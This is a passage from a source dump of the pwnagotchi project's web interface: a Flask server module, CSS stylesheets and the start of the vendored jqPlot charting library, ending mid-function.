ui(self): with web.frame_lock: return send_file(web.frame_path, mimetype='image/png') ================================================ FILE: pwnagotchi/ui/web/server.py ================================================ import _thread import secrets import logging import os # https://stackoverflow.com/questions/14888799/disable-console-messages-in-flask-server logging.getLogger('werkzeug').setLevel(logging.ERROR) os.environ['WERKZEUG_RUN_MAIN'] = 'true' from flask import Flask from flask_cors import CORS from flask_wtf.csrf import CSRFProtect from pwnagotchi.ui.web.handler import Handler class Server: def __init__(self, agent, config): self._config = config['web'] self._enabled = self._config['enabled'] self._port = self._config['port'] self._address = self._config['address'] self._origin = None self._agent = agent if 'origin' in self._config: self._origin = self._config['origin'] if self._enabled: _thread.start_new_thread(self._http_serve, ()) def _http_serve(self): if self._address is not None: web_path = os.path.dirname(os.path.realpath(__file__)) app = Flask(__name__, static_url_path='', static_folder=os.path.join(web_path, 'static'), template_folder=os.path.join(web_path, 'templates')) app.secret_key = secrets.token_urlsafe(256) if self._origin: CORS(app, resources={r"*": {"origins": self._origin}}) CSRFProtect(app) Handler(self._config, self._agent, app) logging.info("web ui available at http://%s:%d/" % (self._address, self._port)) app.run(host=self._address, port=self._port, debug=False) else: logging.info("could not get ip of usb0, video server not starting") ================================================ FILE: pwnagotchi/ui/web/static/css/jquery.jqplot.css ================================================ /*rules for the plot target div. These will be cascaded down to all plot elements according to css rules*/ .jqplot-target { position: relative; color: #666666; font-family: "Trebuchet MS", Arial, Helvetica, sans-serif; font-size: 1em; /* height: 300px; width: 400px;*/ } /*rules applied to all axes*/ .jqplot-axis { font-size: 0.75em; } .jqplot-xaxis { margin-top: 10px; } .jqplot-x2axis { margin-bottom: 10px; } .jqplot-yaxis { margin-right: 10px; } .jqplot-y2axis, .jqplot-y3axis, .jqplot-y4axis, .jqplot-y5axis, .jqplot-y6axis, .jqplot-y7axis, .jqplot-y8axis, .jqplot-y9axis, .jqplot-yMidAxis { margin-left: 10px; margin-right: 10px; } /*rules applied to all axis tick divs*/ .jqplot-axis-tick, .jqplot-xaxis-tick, .jqplot-yaxis-tick, .jqplot-x2axis-tick, .jqplot-y2axis-tick, .jqplot-y3axis-tick, .jqplot-y4axis-tick, .jqplot-y5axis-tick, .jqplot-y6axis-tick, .jqplot-y7axis-tick, .jqplot-y8axis-tick, .jqplot-y9axis-tick, .jqplot-yMidAxis-tick { position: absolute; white-space: pre; } .jqplot-xaxis-tick { top: 0px; /* initial position untill tick is drawn in proper place */ left: 15px; /* padding-top: 10px;*/ vertical-align: top; } .jqplot-x2axis-tick { bottom: 0px; /* initial position untill tick is drawn in proper place */ left: 15px; /* padding-bottom: 10px;*/ vertical-align: bottom; } .jqplot-yaxis-tick { right: 0px; /* initial position untill tick is drawn in proper place */ top: 15px; /* padding-right: 10px;*/ text-align: right; } .jqplot-yaxis-tick.jqplot-breakTick { right: -20px; margin-right: 0px; padding:1px 5px 1px 5px; /*background-color: white;*/ z-index: 2; font-size: 1.5em; } .jqplot-y2axis-tick, .jqplot-y3axis-tick, .jqplot-y4axis-tick, .jqplot-y5axis-tick, .jqplot-y6axis-tick, .jqplot-y7axis-tick, .jqplot-y8axis-tick, .jqplot-y9axis-tick { left: 0px; /* initial position untill tick is drawn in proper place */ top: 15px; /* padding-left: 10px;*/ /* padding-right: 15px;*/ text-align: left; } .jqplot-yMidAxis-tick { text-align: center; white-space: nowrap; } .jqplot-xaxis-label { margin-top: 10px; font-size: 11pt; position: absolute; } .jqplot-x2axis-label { margin-bottom: 10px; font-size: 11pt; position: absolute; } .jqplot-yaxis-label { margin-right: 10px; /* text-align: center;*/ font-size: 11pt; position: absolute; } .jqplot-yMidAxis-label { font-size: 11pt; position: absolute; } .jqplot-y2axis-label, .jqplot-y3axis-label, .jqplot-y4axis-label, .jqplot-y5axis-label, .jqplot-y6axis-label, .jqplot-y7axis-label, .jqplot-y8axis-label, .jqplot-y9axis-label { /* text-align: center;*/ font-size: 11pt; margin-left: 10px; position: absolute; } .jqplot-meterGauge-tick { font-size: 0.75em; color: #999999; } .jqplot-meterGauge-label { font-size: 1em; color: #999999; } table.jqplot-table-legend { margin-top: 12px; margin-bottom: 12px; margin-left: 12px; margin-right: 12px; } table.jqplot-table-legend, table.jqplot-cursor-legend { background-color: rgba(255,255,255,0.6); border: 1px solid #cccccc; position: absolute; font-size: 0.75em; } td.jqplot-table-legend { vertical-align:middle; } /* These rules could be used instead of assigning element styles and relying on js object properties. */ /* td.jqplot-table-legend-swatch { padding-top: 0.5em; text-align: center; } tr.jqplot-table-legend:first td.jqplot-table-legend-swatch { padding-top: 0px; } */ td.jqplot-seriesToggle:hover, td.jqplot-seriesToggle:active { cursor: pointer; } .jqplot-table-legend .jqplot-series-hidden { text-decoration: line-through; } div.jqplot-table-legend-swatch-outline { border: 1px solid #cccccc; padding:1px; } div.jqplot-table-legend-swatch { width:0px; height:0px; border-top-width: 5px; border-bottom-width: 5px; border-left-width: 6px; border-right-width: 6px; border-top-style: solid; border-bottom-style: solid; border-left-style: solid; border-right-style: solid; } .jqplot-title { top: 0px; left: 0px; padding-bottom: 0.5em; font-size: 1.2em; } table.jqplot-cursor-tooltip { border: 1px solid #cccccc; font-size: 0.75em; } .jqplot-cursor-tooltip { border: 1px solid #cccccc; font-size: 0.75em; white-space: nowrap; background: rgba(208,208,208,0.5); padding: 1px; } .jqplot-highlighter-tooltip, .jqplot-canvasOverlay-tooltip { border: 1px solid #cccccc; font-size: 0.75em; white-space: nowrap; background: rgba(208,208,208,0.5); padding: 1px; } .jqplot-point-label { font-size: 0.75em; z-index: 2; } td.jqplot-cursor-legend-swatch { vertical-align: middle; text-align: center; } div.jqplot-cursor-legend-swatch { width: 1.2em; height: 0.7em; } .jqplot-error { /* Styles added to the plot target container when there is an error go here.*/ text-align: center; } .jqplot-error-message { /* Styling of the custom error message div goes here.*/ position: relative; top: 46%; display: inline-block; } div.jqplot-bubble-label { font-size: 0.8em; /* background: rgba(90%, 90%, 90%, 0.15);*/ padding-left: 2px; padding-right: 2px; color: rgb(20%, 20%, 20%); } div.jqplot-bubble-label.jqplot-bubble-label-highlight { background: rgba(90%, 90%, 90%, 0.7); } div.jqplot-noData-container { text-align: center; background-color: rgba(96%, 96%, 96%, 0.3); } ================================================ FILE: pwnagotchi/ui/web/static/css/style.css ================================================ .ui-image { width: 100%; } .pixelated { image-rendering: optimizeSpeed; /* Legal fallback */ image-rendering: -moz-crisp-edges; /* Firefox */ image-rendering: -o-crisp-edges; /* Opera */ image-rendering: -webkit-optimize-contrast; /* Safari */ image-rendering: optimize-contrast; /* CSS3 Proposed */ image-rendering: crisp-edges; /* CSS4 Proposed */ image-rendering: pixelated; /* CSS4 Proposed */ -ms-interpolation-mode: nearest-neighbor; /* IE8+ */ } .image-wrapper { flex: 1; position: relative; } div.status { position: absolute; top: 0; left: 0; width: 100%; } a.read { color: #777 !important; } p.messagebody { padding: 1em; } li.navitem { width: 16.66% !important; clear: none !important; } /* Custom indentations are needed because the length of custom labels differs from the length of the standard labels */ .custom-size-flipswitch.ui-flipswitch .ui-btn.ui-flipswitch-on { text-indent: -5.9em; } .custom-size-flipswitch.ui-flipswitch .ui-flipswitch-off { text-indent: 0.5em; } /* Custom widths are needed because the length of custom labels differs from the length of the standard labels */ .custom-size-flipswitch.ui-flipswitch { width: 8.875em; } .custom-size-flipswitch.ui-flipswitch.ui-flipswitch-active { padding-left: 7em; width: 1.875em; } @media (min-width: 28em) { /*Repeated from rule .ui-flipswitch above*/ .ui-field-contain > label + .custom-size-flipswitch.ui-flipswitch { width: 1.875em; } } #container { display: flex; flex-wrap: wrap; justify-content: space-around; } .plugins-box { margin: 0.5rem; padding: 0.2rem; border-style: groove; border-radius: 0.5rem; background-color: lightgrey; text-align: center; } ================================================ FILE: pwnagotchi/ui/web/static/js/jquery.jqplot.js ================================================ /** * Title: jqPlot Charts * * Pure JavaScript plotting plugin for jQuery. * * About: Version * * version: 1.0.9 * revision: d96a669 * * About: Copyright & License * * Copyright (c) 2009-2016 Chris Leonello * jqPlot is currently available for use in all personal or commercial projects * under both the MIT and GPL version 2.0 licenses. This means that you can * choose the license that best suits your project and use it accordingly. * * See and contained within this distribution for further information. * * The author would appreciate an email letting him know of any substantial * use of jqPlot. You can reach the author at: chris at jqplot dot com * or see http://www.jqplot.com/info.php. This is, of course, not required. * * If you are feeling kind and generous, consider supporting the project by * making a donation at: http://www.jqplot.com/donate.php. * * sprintf functions contained in jqplot.sprintf.js by Ash Searle: * * version 2007.04.27 * author Ash Searle * http://hexmen.com/blog/2007/03/printf-sprintf/ * http://hexmen.com/js/sprintf.js * The author (Ash Searle) has placed this code in the public domain: * "This code is unrestricted: you are free to use it however you like." * * * About: Introduction * * jqPlot requires jQuery (1.4+ required for certain features). jQuery 1.4.2 is included in the distribution. * To use jqPlot include jQuery, the jqPlot jQuery plugin, the jqPlot css file and optionally * the excanvas script for IE support in your web page: * * > * > * > * > * * jqPlot can be customized by overriding the defaults of any of the objects which make * up the plot. The general usage of jqplot is: * * > chart = $.jqplot('targetElemId', [dataArray,...], {optionsObject}); * * The options available to jqplot are detailed in in the jqPlotOptions.txt file. * * An actual call to $.jqplot() may look like the * examples below: * * > chart = $.jqplot('chartdiv', [[[1, 2],[3,5.12],[5,13.1],[7,33.6],[9,85.9],[11,219.9]]]); * * or * * > dataArray = [34,12,43,55,77]; * > chart = $.jqplot('targetElemId', [dataArray, ...], {title:'My Plot', axes:{yaxis:{min:20, max:100}}}); * * For more inforrmation, see . * * About: Usage * * See * * About: Available Options * * See for a list of options available thorugh the options object (not complete yet!) * * About: Options Usage * * See * * About: Changes * * See * */ (function($) { // make sure undefined is undefined var undefined; $.fn.emptyForce = function() { for ( var i = 0, elem; (elem = $(this)[i]) != null; i++ ) { // Remove element nodes and prevent memory leaks if ( elem.nodeType === 1 ) { $.cleanData( elem.getElementsByTagName("*") ); } // Remove any remaining nodes if ($.jqplot.use_excanvas) { elem.outerHTML = ""; } else { while ( elem.firstChild ) { elem.removeChild( elem.firstChild ); } } elem = null; } return $(this); }; $.fn.removeChildForce = function(parent) { while ( parent.firstChild ) { this.removeChildForce( parent.firstChild ); parent.removeChild( parent.firstChild ); } }; $.fn.jqplot = function() { var datas = []; var options = []; // see how many data arrays we have for (var i=0, l=arguments.length; i'+msg+''); $('#'+target).addClass('jqplot-error'); document.getElementById(target).style.background = $.jqplot.config.errorBackground; document.getElementById(target).style.border = $.jqplot.config.errorBorder; document.getElementById(target).style.fontFamily = $.jqplot.config.errorFontFamily; document.getElementById(target).style.fontSize = $.jqplot.config.errorFontSize; document.getElementById(target).style.fontStyle = $.jqplot.config.errorFontStyle; document.getElementById(target).style.fontWeight = $.jqplot.config.errorFontWeight; } } else { plot.init(target, _data, _options); plot.draw(); plot.themeEngine.init.call(plot); return plot; } }; $.jqplot.version = "1.0.9"; $.jqplot.revision = "d96a669"; $.jqplot.targetCounter = 1; // canvas manager to reuse canvases on the plot. // Should help solve problem of canvases not being freed and // problem of waiting forever for firefox to decide to free memory. $.jqplot.CanvasManager = function() { // canvases are managed globally so that they can be reused // across plots after they have been freed if (typeof $.jqplot.CanvasManager.canvases == 'undefined') { $.jqplot.CanvasManager.canvases = []; $.jqplot.CanvasManager.free = []; } var myCanvases = []; this.getCanvas = function() { var canvas; var makeNew = true; if (!$.jqplot.use_excanvas) { for (var i = 0, l = $.jqplot.CanvasManager.canvases.length; i < l; i++) { if ($.jqplot.CanvasManager.free[i] === true) { makeNew = false; canvas = $.jqplot.CanvasManager.canvases[i]; // $(canvas).removeClass('jqplot-canvasManager-free').addClass('jqplot-canvasManager-inuse'); $.jqplot.CanvasManager.free[i] = false; myCanvases.push(i); break; } } } if (makeNew) { canvas = document.createElement('canvas'); myCanvases.push($.jqplot.CanvasManager.canvases.length); $.jqplot.CanvasManager.canvases.push(canvas); $.jqplot.CanvasManager.free.push(false); } return canvas; }; // this method has to be used after settings the dimesions // on the element returned by getCanvas() this.initCanvas = function(canvas) { if ($.jqplot.use_excanvas) { return window.G_vmlCanvasManager.initElement(canvas); } var cctx = canvas.getContext('2d'); var canvasBackingScale = 1; if (window.devicePixelRatio > 1 && (cctx.webkitBackingStorePixelRatio === undefined || cctx.webkitBackingStorePixelRatio < 2)) { canvasBackingScale = window.devicePixelRatio; } var oldWidth = canvas.width; var oldHeight = canvas.height; canvas.width = canvasBackingScale * canvas.width; canvas.height = canvasBackingScale * canvas.height; canvas.style.width = oldWidth + 'px'; canvas.style.height = oldHeight + 'px'; cctx.save(); cctx.scale(canvasBackingScale, canvasBackingScale); return canvas; }; this.freeAllCanvases = function() { for (var i = 0, l=myCanvases.length; i < l; i++) { this.freeCanvas(myCanvases[i]); } myCanvases = []; }; this.freeCanvas = function(idx) { if ($.jqplot.use_excanvas && window.G_vmlCanvasManager.uninitElement !== undefined) { // excanvas can't be reused, but properly unset window.G_vmlCanvasManager.uninitElement($.jqplot.CanvasManager.canvases[idx]); $.jqplot.CanvasManager.canvases[idx] = null; } else { var canvas = $.jqplot.CanvasManager.canvases[idx]; canvas.getContext('2d').clearRect(0, 0, canvas.width, canvas.height); $(canvas).unbind().removeAttr('class').removeAttr('style'); // Style attributes seemed to be still hanging around. wierd. Some ticks // still retained a left: 0px attribute after reusing a canvas. $(canvas).css({left: '', top: '', position: ''}); // setting size to 0 may save memory of unused canvases? canvas.width = 0; canvas.height = 0; $.jqplot.CanvasManager.free[idx] = true; } }; }; // Convienence function that won't hang IE or FF without FireBug. $.jqplot.log = function() { if (window.console) { window.console.log.apply(window.console, arguments); } }; $.jqplot.config = { addDomReference: false, enablePlugins:false, defaultHeight:300, defaultWidth:400, UTCAdjust:false, timezoneOffset: new Date(new Date().getTimezoneOffset() * 60000), errorMessage: '', errorBackground: '', errorBorder: '', errorFontFamily: '', errorFontSize: '', errorFontStyle: '', errorFontWeight: '', catchErrors: false, defaultTickFormatString: "%.1f", defaultColors: [ "#4bb2c5", "#EAA228", "#c5b47f", "#579575", "#839557", "#958c12", "#953579", "#4b5de4", "#d8b83f", "#ff5800", "#0085cc", "#c747a3", "#cddf54", "#FBD178", "#26B4E3", "#bd70c7"], defaultNegativeColors: [ "#498991", "#C08840", "#9F9274", "#546D61", "#646C4A", "#6F6621", "#6E3F5F", "#4F64B0", "#A89050", "#C45923", "#187399", "#945381", "#959E5C", "#C7AF7B", "#478396", "#907294"], dashLength: 4, gapLength: 4, dotGapLength: 2.5, srcLocation: 'jqplot/src/', pluginLocation: 'jqplot/src/plugins/' }; $.jqplot.arrayMax = function( array ){ return Math.max.apply( Math, array ); }; $.jqplot.arrayMin = function( array ){ return Math.min.apply( Math, array ); }; $.jqplot.enablePlugins = $.jqplot.config.enablePlugins; // canvas related tests taken from modernizer: // Copyright (c) 2009 - 2010 Faruk Ates. // http://www.modernizr.com $.jqplot.support_canvas = function() { if (typeof $.jqplot.support_canvas.result == 'undefined') { $.jqplot.support_canvas.result = !!document.createElement('canvas').getContext; } return $.jqplot.support_canvas.result; }; $.jqplot.support_canvas_text = function() { if (typeof $.jqplot.support_canvas_text.result == 'undefined') { if (window.G_vmlCanvasManager !== undefined && window.G_vmlCanvasManager._version > 887) { $.jqplot.support_canvas_text.result = true; } else { $.jqplot.support_canvas_text.result = !!(document.createElement('canvas').getContext && typeof document.createElement('canvas').getContext('2d').fillText == 'function'); } } return $.jqplot.support_canvas_text.result; }; $.jqplot.use_excanvas = ((!$.support.boxModel || !$.support.objectAll || !$support.leadingWhitespace) && !$.jqplot.support_canvas()) ? true : false; /** * * Hooks: jqPlot Pugin Hooks * * $.jqplot.preInitHooks - called before initialization. * $.jqplot.postInitHooks - called after initialization. * $.jqplot.preParseOptionsHooks - called before user options are parsed. * $.jqplot.postParseOptionsHooks - called after user options are parsed. * $.jqplot.preDrawHooks - called before plot draw. * $.jqplot.postDrawHooks - called after plot draw. * $.jqplot.preDrawSeriesHooks - called before each series is drawn. * $.jqplot.postDrawSeriesHooks - called after each series is drawn. * $.jqplot.preDrawLegendHooks - called before the legend is drawn. * $.jqplot.addLegendRowHooks - called at the end of legend draw, so plugins * can add rows to the legend table. * $.jqplot.preSeriesInitHooks - called before series is initialized. * $.jqplot.postSeriesInitHooks - called after series is initialized. * $.jqplot.preParseSeriesOptionsHooks - called before series related options * are parsed. * $.jqplot.postParseSeriesOptionsHooks - called after series related options * are parsed. * $.jqplot.eventListenerHooks - called at the end of plot drawing, binds * listeners to the event canvas which lays on top of the grid area. * $.jqplot.preDrawSeriesShadowHooks - called before series shadows are drawn. * $.jqplot.postDrawSeriesShadowHooks - called after series shadows are drawn. * */ $.jqplot.preInitHooks = []; $.jqplot.postInitHooks = []; $.jqplot.preParseOptionsHooks = []; $.jqplot.postParseOptionsHooks = []; $.jqplot.preDrawHooks = []; $.jqplot.postDrawHooks = []; $.jqplot.preDrawSeriesHooks = []; $.jqplot.postDrawSeriesHooks = []; $.jqplot.preDrawLegendHooks = []; $.jqplot.addLegendRowHooks = []; $.jqplot.preSeriesInitHooks = []; $.jqplot.postSeriesInitHooks = []; $.jqplot.preParseSeriesOptionsHooks = []; $.jqplot.postParseSeriesOptionsHooks = []; $.jqplot.eventListenerHooks = []; $.jqplot.preDrawSeriesShadowHooks = []; $.jqplot.postDrawSeriesShadowHooks = []; // A superclass holding some common properties and methods. $.jqplot.ElemContainer = function() { this._elem; this._plotWidth; this._plotHeight; this._plotDimensions = {height:null, width:null}; }; $.jqplot.ElemContainer.prototype.createElement = function(el, offsets, clss, cssopts, attrib) { this._offsets = offsets; var klass = clss || 'jqplot'; var elem = document.createElement(el); this._elem = $(elem); this._elem.addClass(klass); this._elem.css(cssopts); this._elem.attr(attrib); // avoid memory leak; elem = null; return this._elem; }; $.jqplot.ElemContainer.prototype.getWidth = function() { if (this._elem) { return this._elem.outerWidth(true); } else { return null; } }; $.jqplot.ElemContainer.prototype.getHeight = function() { if (this._elem) { return this._elem.outerHeight(true); } else { return null; } }; $.jqplot.ElemContainer.prototype.getPosition = function() { if (this._elem) { return this._elem.position(); } else { return {top:null, left:null, bottom:null, right:null}; } }; $.jqplot.ElemContainer.prototype.getTop = function() { return this.getPosition().top; }; $.jqplot.ElemContainer.prototype.getLeft = function() { return this.getPosition().left; }; $.jqplot.ElemContainer.prototype.getBottom = function() { return this._elem.css('bottom'); }; $.jqplot.ElemContainer.prototype.getRight = function() { return this._elem.css('right'); }; /** * Class: Axis * An individual axis object. Cannot be instantiated directly, but created * by the Plot object. Axis properties can be set or overridden by the * options passed in from the user. * */ function Axis(name) { $.jqplot.ElemContainer.call(this); // Group: Properties // // Axes options are specified within an axes object at the top level of the // plot options like so: // > { // > axes: { // > xaxis: {min: 5}, // > yaxis: {min: 2, max: 8, numberTicks:4}, // > x2axis: {pad: 1.5}, // > y2axis: {ticks:[22, 44, 66, 88]} // > } // > } // There are 2 x axes, 'xaxis' and 'x2axis', and // 9 yaxes, 'yaxis', 'y2axis'. 'y3axis', ... Any or all of which may be specified. this.name = name; this._series = []; // prop: show // Wether to display the axis on the graph. this.show = false; // prop: tickRenderer // A class of a rendering engine for creating the ticks labels displayed on the plot, // See <$.jqplot.AxisTickRenderer>. this.tickRenderer = $.jqplot.AxisTickRenderer; // prop: tickOptions // Options that will be passed to the tickRenderer, see <$.jqplot.AxisTickRenderer> options. this.tickOptions = {}; // prop: labelRenderer // A class of a rendering engine for creating an axis label. this.labelRenderer = $.jqplot.AxisLabelRenderer; // prop: labelOptions // Options passed to the label renderer. this.labelOptions = {}; // prop: label // Label for the axis this.label = null; // prop: showLabel // true to show the axis label. this.showLabel = true; // prop: min // minimum value of the axis (in data units, not pixels). this.min = null; // prop: max // maximum value of the axis (in data units, not pixels). this.max = null; // prop: autoscale // DEPRECATED // the default scaling algorithm produces superior results. this.autoscale = false; // prop: pad // Padding to extend the range above and below the data bounds. // The data range is multiplied by this factor to determine minimum and maximum axis bounds. // A value of 0 will be interpreted to mean no padding, and pad will be set to 1.0. this.pad = 1.2; // prop: padMax // Padding to extend the range above data bounds. // The top of the data range is multiplied by this factor to determine maximum axis bounds. // A value of 0 will be interpreted to mean no padding, and padMax will be set to 1.0. this.padMax = null; // prop: padMin // Padding to extend the range below data bounds. // The bottom of the data range is multiplied by this factor to determine minimum axis bounds. // A value of 0 will be interpreted to mean no padding, and padMin will be set to 1.0. this.padMin = null; // prop: ticks // 1D [val, val, ...] or 2D [[val, label], [val, label], ...] array of ticks for the axis. // If no label is specified, the value is formatted into an appropriate label. this.ticks = []; // prop: numberTicks // Desired number of ticks. Default is to compute automatically. this.numberTicks; // prop: tickInterval // number of units between ticks. Mutually exclusive with numberTicks. this.tickInterval; // prop: renderer // A class of a rendering engine that handles tick generation, // scaling input data to pixel grid units and drawing the axis element. this.renderer = $.jqplot.LinearAxisRenderer; // prop: rendererOptions // renderer specific options. See <$.jqplot.LinearAxisRenderer> for options. this.rendererOptions = {}; // prop: showTicks // Wether to show the ticks (both marks and labels) or not. // Will not override showMark and showLabel options if specified on the ticks themselves. this.showTicks = true; // prop: showTickMarks // Wether to show the tick marks (line crossing grid) or not. // Overridden by showTicks and showMark option of tick itself. this.showTickMarks = true; // prop: showMinorTicks // Wether or not to show minor ticks. This is renderer dependent. this.showMinorTicks = true; // prop: drawMajorGridlines // True to draw gridlines for major axis ticks. this.drawMajorGridlines = true; // prop: drawMinorGridlines // True to draw gridlines for minor ticks. this.drawMinorGridlines = false; // prop: drawMajorTickMarks // True to draw tick marks for major axis ticks. this.drawMajorTickMarks = true; // prop: drawMinorTickMarks // True to draw tick marks for minor ticks. This is renderer dependent. this.drawMinorTickMarks = true; // prop: useSeriesColor // Use the color of the first series associated with this axis for the // tick marks and line bordering this axis. this.useSeriesColor = false; // prop: borderWidth // width of line stroked at the border of the axis. Defaults // to the width of the grid boarder. this.borderWidth = null; // prop: borderColor // color of the border adjacent to the axis. Defaults to grid border color. this.borderColor = null; // prop: scaleToHiddenSeries // True to include hidden series when computing axes bounds and scaling. this.scaleToHiddenSeries = false; // minimum and maximum values on the axis. this._dataBounds = {min:null, max:null}; // statistics (min, max, mean) as well as actual data intervals for each series attached to axis. // holds collection of {intervals:[], min:, max:, mean: } objects for each series on axis. this._intervalStats = []; // pixel position from the top left of the min value and max value on the axis. this._offsets = {min:null, max:null}; this._ticks=[]; this._label = null; // prop: syncTicks // true to try and synchronize tick spacing across multiple axes so that ticks and // grid lines line up. This has an impact on autoscaling algorithm, however. // In general, autoscaling an individual axis will work better if it does not // have to sync ticks. this.syncTicks = null; // prop: tickSpacing // Approximate pixel spacing between ticks on graph. Used during autoscaling. // This number will be an upper bound, actual spacing will be less. this.tickSpacing = 75; // Properties to hold the original values for min, max, ticks, tickInterval and numberTicks // so they can be restored if altered by plugins. this._min = null; this._max = null; this._tickInterval = null; this._numberTicks = null; this.__ticks = null; // hold original user options. this._options = {}; } Axis.prototype = new $.jqplot.ElemContainer(); Axis.prototype.constructor = Axis; Axis.prototype.init = function() { if ($.isFunction(this.renderer)) { this.renderer = new this.renderer(); } // set the axis name this.tickOptions.axis = this.name; // if showMark or showLabel tick options not specified, use value of axis option. // showTicks overrides showTickMarks. if (this.tickOptions.showMark == null) { this.tickOptions.showMark = this.showTicks; } if (this.tickOptions.showMark == null) { this.tickOptions.showMark = this.showTickMarks; } if (this.tickOptions.showLabel == null) { this.tickOptions.showLabel = this.showTicks; } if (this.label == null || this.label == '') { this.showLabel = false; } else { this.labelOptions.label = this.label; } if (this.showLabel == false) { this.labelOptions.show = false; } // set the default padMax, padMin if not specified // special check, if no padding desired, padding // should be set to 1.0 if (this.pad == 0) { this.pad = 1.0; } if (this.padMax == 0) { this.padMax = 1.0; } if (this.padMin == 0) { this.padMin = 1.0; } if (this.padMax == null) { this.padMax = (this.pad-1)/2 + 1; } if (this.padMin == null) { this.padMin = (this.pad-1)/2 + 1; } // now that padMin and padMax are correctly set, reset pad in case user has supplied // padMin and/or padMax this.pad = this.padMax + this.padMin - 1; if (this.min != null || this.max != null) { this.autoscale = false; } // if not set, sync ticks for y axes but not x by default. if (this.syncTicks == null && this.name.indexOf('y') > -1) { this.syncTicks = true; } else if (this.syncTicks == null){ this.syncTicks = false; } this.renderer.init.call(this, this.rendererOptions); }; Axis.prototype.draw = function(ctx, plot) { // Memory Leaks patch if (this.__ticks) { this.__ticks = null; } return this.renderer.draw.call(this, ctx, plot); }; Axis.prototype.set = function() { this.renderer.set.call(this); }; Axis.prototype.pack = function(pos, offsets) { if (this.show) { this.renderer.pack.call(this, pos, offsets); } // these properties should all be available now. if (this._min == null) { this._min = this.min; this._max = this.max; this._tickInterval = this.tickInterval; this._numberTicks = this.numberTicks; this.__ticks = this._ticks; } }; // reset the axis back to original values if it has been scaled, zoomed, etc. Axis.prototype.reset = function() { this.renderer.reset.call(this); }; Axis.prototype.resetScale = function(opts) { $.extend(true, this, {min: null, max: null, numberTicks: null, tickInterval: null, _ticks: [], ticks: []}, opts); this.resetDataBounds(); }; Axis.prototype.resetDataBounds = function() { // Go through all the series attached to this axis and find // the min/max bounds for this axis. var db = this._dataBounds; db.min = null; db.max = null; var l, s, d; // check for when to force min 0 on bar series plots. var doforce = (this.show) ? true : false; for (var i=0; i db.max) || db.max == null) { db.max = d[j][0]; } } else { if ((d[j][minyidx] != null && d[j][minyidx] < db.min) || db.min == null) { db.min = d[j][minyidx]; } if ((d[j][maxyidx] != null && d[j][maxyidx] > db.max) || db.max == null) { db.max = d[j][maxyidx]; } } } // Hack to not pad out bottom of bar plots unless user has specified a padding. // every series will have a chance to set doforce to false. once it is set to // false, it cannot be reset to true. // If any series attached to axis is not a bar, wont force 0. if (doforce && s.renderer.constructor !== $.jqplot.BarRenderer) { doforce = false; } else if (doforce && this._options.hasOwnProperty('forceTickAt0') && this._options.forceTickAt0 == false) { doforce = false; } else if (doforce && s.renderer.constructor === $.jqplot.BarRenderer) { if (s.barDirection == 'vertical' && this.name != 'xaxis' && this.name != 'x2axis') { if (this._options.pad != null || this._options.padMin != null) { doforce = false; } } else if (s.barDirection == 'horizontal' && (this.name == 'xaxis' || this.name == 'x2axis')) { if (this._options.pad != null || this._options.padMin != null) { doforce = false; } } } } } if (doforce && this.renderer.constructor === $.jqplot.LinearAxisRenderer && db.min >= 0) { this.padMin = 1.0; this.forceTickAt0 = true; } }; /** * Class: Legend * Legend object. Cannot be instantiated directly, but created * by the Plot object. Legend properties can be set or overridden by the * options passed in from the user. */ function Legend(options) { $.jqplot.ElemContainer.call(this); // Group: Properties // prop: show // Wether to display the legend on the graph. this.show = false; // prop: location // Placement of the legend. one of the compass directions: nw, n, ne, e, se, s, sw, w this.location = 'ne'; // prop: labels // Array of labels to use. By default the renderer will look for labels on the series. // Labels specified in this array will override labels specified on the series. this.labels = []; // prop: showLabels // true to show the label text on the legend. this.showLabels = true; // prop: showSwatch // true to show the color swatches on the legend. this.showSwatches = true; // prop: placement // "insideGrid" places legend inside the grid area of the plot. // "outsideGrid" places the legend outside the grid but inside the plot container, // shrinking the grid to accomodate the legend. // "inside" synonym for "insideGrid", // "outside" places the legend ouside the grid area, but does not shrink the grid which // can cause the legend to overflow the plot container. this.placement = "insideGrid"; // prop: xoffset // DEPRECATED. Set the margins on the legend using the marginTop, marginLeft, etc. // properties or via CSS margin styling of the .jqplot-table-legend class. this.xoffset = 0; // prop: yoffset // DEPRECATED. Set the margins on the legend using the marginTop, marginLeft, etc. // properties or via CSS margin styling of the .jqplot-table-legend class. this.yoffset = 0; // prop: border // css spec for the border around the legend box. this.border; // prop: background // css spec for the background of the legend box. this.background; // prop: textColor // css color spec for the legend text. this.textColor; // prop: fontFamily // css font-family spec for the legend text. this.fontFamily; // prop: fontSize // css font-size spec for the legend text. this.fontSize ; // prop: rowSpacing // css padding-top spec for the rows in the legend. this.rowSpacing = '0.5em'; // renderer // A class that will create a DOM object for the legend, // see <$.jqplot.TableLegendRenderer>. this.renderer = $.jqplot.TableLegendRenderer; // prop: rendererOptions // renderer specific options passed to the renderer. this.rendererOptions = {}; // prop: predraw // Wether to draw the legend before the series or not. // Used with series specific legend renderers for pie, donut, mekko charts, etc. this.preDraw = false; // prop: marginTop // CSS margin for the legend DOM element. This will set an element // CSS style for the margin which will override any style sheet setting. // The default will be taken from the stylesheet. this.marginTop = null; // prop: marginRight // CSS margin for the legend DOM element. This will set an element // CSS style for the margin which will override any style sheet setting. // The default will be taken from the stylesheet. this.marginRight = null; // prop: marginBottom // CSS margin for the legend DOM element. This will set an element // CSS style for the margin which will override any style sheet setting. // The default will be taken from the stylesheet. this.marginBottom = null; // prop: marginLeft // CSS margin for the legend DOM element. This will set an element // CSS style for the margin which will override any style sheet setting. // The default will be taken from the stylesheet. this.marginLeft = null; // prop: escapeHtml // True to escape special characters with their html entity equivalents // in legend text. "<" becomes < and so on, so html tags are not rendered. this.escapeHtml = false; this._series = []; $.extend(true, this, options); } Legend.prototype = new $.jqplot.ElemContainer(); Legend.prototype.constructor = Legend; Legend.prototype.setOptions = function(options) { $.extend(true, this, options); // Try to emulate deprecated behaviour // if user has specified xoffset or yoffset, copy these to // the margin properties. if (this.placement == 'inside') { this.placement = 'insideGrid'; } if (this.xoffset >0) { if (this.placement == 'insideGrid') { switch (this.location) { case 'nw': case 'w': case 'sw': if (this.marginLeft == null) { this.marginLeft = this.xoffset + 'px'; } this.marginRight = '0px'; break; case 'ne': case 'e': case 'se': default: if (this.marginRight == null) { this.marginRight = this.xoffset + 'px'; } this.marginLeft = '0px'; break; } } else if (this.placement == 'outside') { switch (this.location) { case 'nw': case 'w': case 'sw': if (this.marginRight == null) { this.marginRight = this.xoffset + 'px'; } this.marginLeft = '0px'; break; case 'ne': case 'e': case 'se': default: if (this.marginLeft == null) { this.marginLeft = this.xoffset + 'px'; } this.marginRight = '0px'; break; } } this.xoffset = 0; } if 